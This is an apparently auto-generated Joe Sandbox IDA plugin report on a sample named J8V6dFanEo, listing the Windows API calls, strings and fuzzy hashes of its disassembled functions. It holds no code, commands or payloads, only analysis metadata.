Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: c822aba509d4e02603e706136fbf421e6755d9f9a4f0ce1af924cebe26d9f708
Instruction ID: 4eeb7f85c0107e6639458759d41e2df81a969a128845ff2dd0d15d51ed76f81c
Opcode Fuzzy Hash: c822aba509d4e02603e706136fbf421e6755d9f9a4f0ce1af924cebe26d9f708
Instruction Fuzzy Hash: 45212874A00208BBDF04EBB0CC95EFEBBB4EF5A310F100119F965972A1DB755859EB21

Function 00F1907A Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC7DE1: _memmove.LIBCMT ref: 00EC7E22

Part of subcall function 00F1AA99: GetClassNameW.USER32(?,?,000000FF), ref: 00F1AABC

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00F190FD
GetDlgCtrlID.USER32 ref: 00F19108
GetParent.USER32 ref: 00F19124
SendMessageW.USER32(00000000,?,00000111,?), ref: 00F19127
GetDlgCtrlID.USER32(?), ref: 00F19130
GetParent.USER32(?), ref: 00F1914C
SendMessageW.USER32(00000000,?,?,00000111), ref: 00F1914F

Strings

ComboBox, xrefs: 00F19087
ListBox, xrefs: 00F190BC

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 14a09a199b21b60a4bbef244c50f631a8008434a695bfc0f254dde0b13e7107e
Instruction ID: a5eb1916af7e9c7d02ed23e4779bc7004a7bbc89c72e24e3692726ae7982f76c
Opcode Fuzzy Hash: 14a09a199b21b60a4bbef244c50f631a8008434a695bfc0f254dde0b13e7107e
Instruction Fuzzy Hash: 6621FB75E01208BBDF00ABA0CC95FFEBBB4EF59300F104019F955A72A1DB755459EB21

Function 00F19163 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00F1916F
GetClassNameW.USER32(00000000,?,00000100), ref: 00F19184
_wcscmp.LIBCMT ref: 00F19196
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00F19211

Strings

smallicons, xrefs: 00F191D9
details, xrefs: 00F191BF
largeicons, xrefs: 00F191A5
list, xrefs: 00F191F3
SHELLDLL_DefView, xrefs: 00F19190

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: b0460de8196331d2f0bc2b012fdcb6a3c784bf7e8ab367a52c42fbe23272907b
Instruction ID: 9012b162d2bb9ff4caf15221e74e13d38af16713b82e63e9273e7adadd72a911
Opcode Fuzzy Hash: b0460de8196331d2f0bc2b012fdcb6a3c784bf7e8ab367a52c42fbe23272907b
Instruction Fuzzy Hash: DF113A3B65C34BB9FA113A24DC1ADE737EC9B15330B200026FA04F10E1EEA2A89179D5

Function 00F388AB Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00F388D7
CoInitialize.OLE32(00000000), ref: 00F38904
CoUninitialize.OLE32 ref: 00F3890E
GetRunningObjectTable.OLE32(00000000,?), ref: 00F38A0E
SetErrorMode.KERNEL32(00000001,00000029), ref: 00F38B3B
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,00F52C0C), ref: 00F38B6F
CoGetObject.OLE32(?,00000000,00F52C0C,?), ref: 00F38B92
SetErrorMode.KERNEL32(00000000), ref: 00F38BA5
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00F38C25
VariantClear.OLEAUT32(?), ref: 00F38C35

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: 49f3a065f4d5768fbae013861fdc9feec87f9b2dfe8cd2400360f7f7b82df4a3
Instruction ID: 1f2eaacdc33cd010e7f5e2d09c8f6bb3f6311cbee9a5ca44ccf7f839dd732606
Opcode Fuzzy Hash: 49f3a065f4d5768fbae013861fdc9feec87f9b2dfe8cd2400360f7f7b82df4a3
Instruction Fuzzy Hash: 1FC157B1608305AFD700DF24C884A2BBBE9FF89798F00491DF9899B251DB75ED06DB52

Function 00F27990 Relevance: 15.3, APIs: 10, Instructions: 292COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000000,?), ref: 00F27A6C

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ArraySafeVartype
String ID:
API String ID: 1725837607-0
Opcode ID: ce468ae3a755003f59aea4a8fae2d3f3621f21bc7488e9a6f678fef0cae452dd
Instruction ID: f51e0396ba465c667bbdb50e24e6484f5d9f1a6c864bc8f3843feea9af18b0e8
Opcode Fuzzy Hash: ce468ae3a755003f59aea4a8fae2d3f3621f21bc7488e9a6f678fef0cae452dd
Instruction Fuzzy Hash: 6EB1927590832A9FDB00EFA4E885BBEB7F4FF49321F144429E901E7251D734A941EB90

Function 00F211CE Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00F211F0
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00F20268,?,00000001), ref: 00F21204
GetWindowThreadProcessId.USER32(00000000), ref: 00F2120B
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00F20268,?,00000001), ref: 00F2121A
GetWindowThreadProcessId.USER32(?,00000000), ref: 00F2122C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00F20268,?,00000001), ref: 00F21245
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00F20268,?,00000001), ref: 00F21257
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00F20268,?,00000001), ref: 00F2129C
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00F20268,?,00000001), ref: 00F212B1
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00F20268,?,00000001), ref: 00F212BC

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 6b06a6c643bf7f3628009ba1b28787a7e6a14570cd1af648bdeb98085fb58caa
Instruction ID: 7d53fa0d3787b29db5f1282f232af9137744899b70636c24858208ac69251417
Opcode Fuzzy Hash: 6b06a6c643bf7f3628009ba1b28787a7e6a14570cd1af648bdeb98085fb58caa
Instruction Fuzzy Hash: B631AE79A00218FBEF209F54FC48BBA77A9BB65321F114125FE04C62E0E7749E40EB65

Function 00ECFA5D Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00ECFAA6
OleUninitialize.OLE32(?,00000000), ref: 00ECFB45
UnregisterHotKey.USER32(?), ref: 00ECFC9C
DestroyWindow.USER32(?), ref: 00F045D6
FreeLibrary.KERNEL32(?), ref: 00F0463B
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00F04668

Strings

close all, xrefs: 00ECFAA1

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 50da2b6e59bd1b73cb5cefc3cee1b679cee4ca2b5d9a5d0a09acf26d9d54d6e6
Instruction ID: 83b1edaa26723e2b0ec0be13a1dd9cafcc617c3db77d2738912dd184484b6c8a
Opcode Fuzzy Hash: 50da2b6e59bd1b73cb5cefc3cee1b679cee4ca2b5d9a5d0a09acf26d9d54d6e6
Instruction Fuzzy Hash: 6BA17A717012168FCB18EF10CA94F69F3A1AF45710F1452ADE90AAB2A1DB32AD57EF50

Function 00F1A068 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,00F1A439), ref: 00F1A377

Strings

INSTANCE, xrefs: 00F1A285
CLASS, xrefs: 00F1A0F6
CLASSNN, xrefs: 00F1A119
REGEXPCLASS, xrefs: 00F1A13C
TEXT, xrefs: 00F1A2AE
NAME, xrefs: 00F1A1A9

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: 26c1e5ae23001cdb6981b0859fae828f9c59d3a22806981e4856cd0f4045efe6
Instruction ID: e94148a20f84d2267a6763f2986d1886560acd257af491932408c9265b971ef7
Opcode Fuzzy Hash: 26c1e5ae23001cdb6981b0859fae828f9c59d3a22806981e4856cd0f4045efe6
Instruction Fuzzy Hash: 0091C631A05649AADB08EFB0C442BEDFBB4BF04310F54912AD85DB7241DF3169DAEB91

Function 00EC2E26 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00EC2EAE

Part of subcall function 00EC1DB3: GetClientRect.USER32(?,?), ref: 00EC1DDC
Part of subcall function 00EC1DB3: GetWindowRect.USER32(?,?), ref: 00EC1E1D
Part of subcall function 00EC1DB3: ScreenToClient.USER32(?,?), ref: 00EC1E45

GetDC.USER32 ref: 00EFCD32
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00EFCD45
SelectObject.GDI32(00000000,00000000), ref: 00EFCD53
SelectObject.GDI32(00000000,00000000), ref: 00EFCD68
ReleaseDC.USER32(?,00000000), ref: 00EFCD70
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00EFCDFB

Strings

U, xrefs: 00EFCCD0

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 77deb77c8eb8967ad739828647a3d70bdf2bb406105cac12f1298a75594ede83
Instruction ID: f92d7261ca4b604c2c35abe5a699776a988a0a8397d004694a3ceeb146ca2d15
Opcode Fuzzy Hash: 77deb77c8eb8967ad739828647a3d70bdf2bb406105cac12f1298a75594ede83
Instruction Fuzzy Hash: 9171B03550020DDFCF258F64CA80AFA7BB5FF49318F34526AEE557A266C7328841DB60

Function 00F31A15 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00F31A50
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00F31A7C
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 00F31ABE
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00F31AD3
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00F31AE0
HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 00F31B10
InternetCloseHandle.WININET(00000000), ref: 00F31B57

Part of subcall function 00F32483: GetLastError.KERNEL32(?,?,00F31817,00000000,00000000,00000001), ref: 00F32498
Part of subcall function 00F32483: SetEvent.KERNEL32(?,?,00F31817,00000000,00000000,00000001), ref: 00F324AD

Strings

, xrefs: 00F31B01

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorEventHandleInfoLastOpenSend
String ID:
API String ID: 2603140658-3916222277
Opcode ID: 4f77d20d7f7a10c6d5799b5a4065418b79ff3d3ec0c02125f4e5812bae510325
Instruction ID: 5c9d1b4e72cfa0ca3916743797de7840dad21dc180a995bf58ead1d7293cce76
Opcode Fuzzy Hash: 4f77d20d7f7a10c6d5799b5a4065418b79ff3d3ec0c02125f4e5812bae510325
Instruction Fuzzy Hash: 4F4182B5901219BFEB118F50CC85FBBBBACFF49364F004126FD059A141E7789E44ABA0

Function 00F38C46 Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,00F4F910), ref: 00F38D28
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,00F4F910), ref: 00F38D5C
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00F38ED6
SysFreeString.OLEAUT32(?), ref: 00F38F00

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: a87163907f5b32927c9505036fd9b0f6ea8d28ccb4b25297f15eadaf43c28543
Instruction ID: 56f765c5163849af42dea5ceedaad09bd9edcd868981618110520fcfd335123b
Opcode Fuzzy Hash: a87163907f5b32927c9505036fd9b0f6ea8d28ccb4b25297f15eadaf43c28543
Instruction Fuzzy Hash: F4F14B71A00209EFDF04DFA4C888EAEB7B9FF45364F108498F905AB251DB75AE46DB50

Function 00F3F694 Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F3F6B5
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00F3F848
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00F3F86C
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00F3F8AC
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00F3F8CE
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00F3FA4A
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 00F3FA7C
CloseHandle.KERNEL32(?), ref: 00F3FAAB
CloseHandle.KERNEL32(?), ref: 00F3FB22

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: 1ea3fe85eecf8eefd00efa44c9cb2dce7176b78e81ab76f1eb08da742b81dad7
Instruction ID: d90cf3c4321fbfad99b8e2b211ae22aee736103d2e7980f80e31475a356946a9
Opcode Fuzzy Hash: 1ea3fe85eecf8eefd00efa44c9cb2dce7176b78e81ab76f1eb08da742b81dad7
Instruction Fuzzy Hash: B2E1A031A043419FCB14EF24C981B6ABBE1EF85364F14856DF8999B3A2CB31DC49DB52

Function 00F24CC1 Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F2466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00F23697,?), ref: 00F2468B

Part of subcall function 00F2466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00F23697,?), ref: 00F246A4

Part of subcall function 00F24A31: GetFileAttributesW.KERNEL32(?,00F2370B), ref: 00F24A32

lstrcmpiW.KERNEL32(?,?), ref: 00F24D40
_wcscmp.LIBCMT ref: 00F24D5A
MoveFileW.KERNEL32(?,?), ref: 00F24D75

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: 4de987bc212ec269c2658277472ed63cc4702e57ec6c17f8c2379ef0479d268e
Instruction ID: ba006d13dd801ef8325a07d297aa86b3ecca9343dffbb5b514a9e900d2c97c54
Opcode Fuzzy Hash: 4de987bc212ec269c2658277472ed63cc4702e57ec6c17f8c2379ef0479d268e
Instruction Fuzzy Hash: 1F5183B24083949BC724DB60DC81EDBB7ECAF85350F40092EF689D3151EE75B188DB56

Function 00F48645 Relevance: 13.7, APIs: 9, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00F486FF

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 0b0b50b93506315ab27f628b7c2eb7cb30e371dfb220c6d5ffa444a7f4754025
Instruction ID: 37914085b26bfd7eb84dd9058ae5af0dc7dad4f28db67a72a3163bcc7ade3eee
Opcode Fuzzy Hash: 0b0b50b93506315ab27f628b7c2eb7cb30e371dfb220c6d5ffa444a7f4754025
Instruction Fuzzy Hash: A5519231900248BFEB249B24CC85FAD7FA4AB057A0F604115FD15E62E1DF76AD82FB51

Function 00EC2B72 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 00EFC2F7
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00EFC319
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00EFC331
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 00EFC34F
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00EFC370
DestroyIcon.USER32(00000000), ref: 00EFC37F
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00EFC39C
DestroyIcon.USER32(?), ref: 00EFC3AB

Part of subcall function 00F4A4AF: DeleteObject.GDI32(00000000), ref: 00F4A4E8

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: d4773e09583835220c0dac5c2b578738491bf34368b0b5a1e9dbeab2d26982c3
Instruction ID: 6844e3b499b90533abc69d0947531f300b5b3dc22f145ca89bcb69021535e665
Opcode Fuzzy Hash: d4773e09583835220c0dac5c2b578738491bf34368b0b5a1e9dbeab2d26982c3
Instruction Fuzzy Hash: A551AB34600209AFDB24DF24CD41FAA7BF5EB18714F20552CFA06A72A0DB71AC91EB60

Function 00F1966E Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F1A82C: GetWindowThreadProcessId.USER32(?,00000000), ref: 00F1A84C
Part of subcall function 00F1A82C: GetCurrentThreadId.KERNEL32 ref: 00F1A853
Part of subcall function 00F1A82C: AttachThreadInput.USER32(00000000,?,00F19683,?,00000001), ref: 00F1A85A

MapVirtualKeyW.USER32(00000025,00000000), ref: 00F1968E
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00F196AB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 00F196AE
MapVirtualKeyW.USER32(00000025,00000000), ref: 00F196B7
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00F196D5
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00F196D8
MapVirtualKeyW.USER32(00000025,00000000), ref: 00F196E1
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00F196F8
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00F196FB

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
